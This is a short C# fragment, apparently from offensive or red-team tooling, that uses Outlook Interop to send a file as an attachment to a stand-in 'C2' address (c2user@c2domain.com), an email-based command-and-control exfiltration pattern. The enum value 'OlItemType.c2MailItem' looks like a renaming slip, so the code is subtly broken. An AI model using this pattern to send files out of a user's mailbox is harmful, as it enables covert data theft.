Microsoft.Office.Interop.Outlook.Application c2App =
    new Microsoft.Office.Interop.Outlook.Application();
Microsoft.Office.Interop.Outlook.MailItem c2Mail =
    (MailItem)c2App.CreateItem(OlItemType.c2MailItem);
        c2Mail.To = "c2user@c2domain.com";
        c2Mail.CC = "";
        c2Mail.Subject = "C2 content";
        c2Mail.Body = "C2 Body";
        c2Mail.Attachments.Add(AssignNoteFilePath,
            Microsoft.Office.Interop.Outlook.OlAttachmentType.olByValue, 1,
                "C2attachment.txt");
c2Mail.Send();
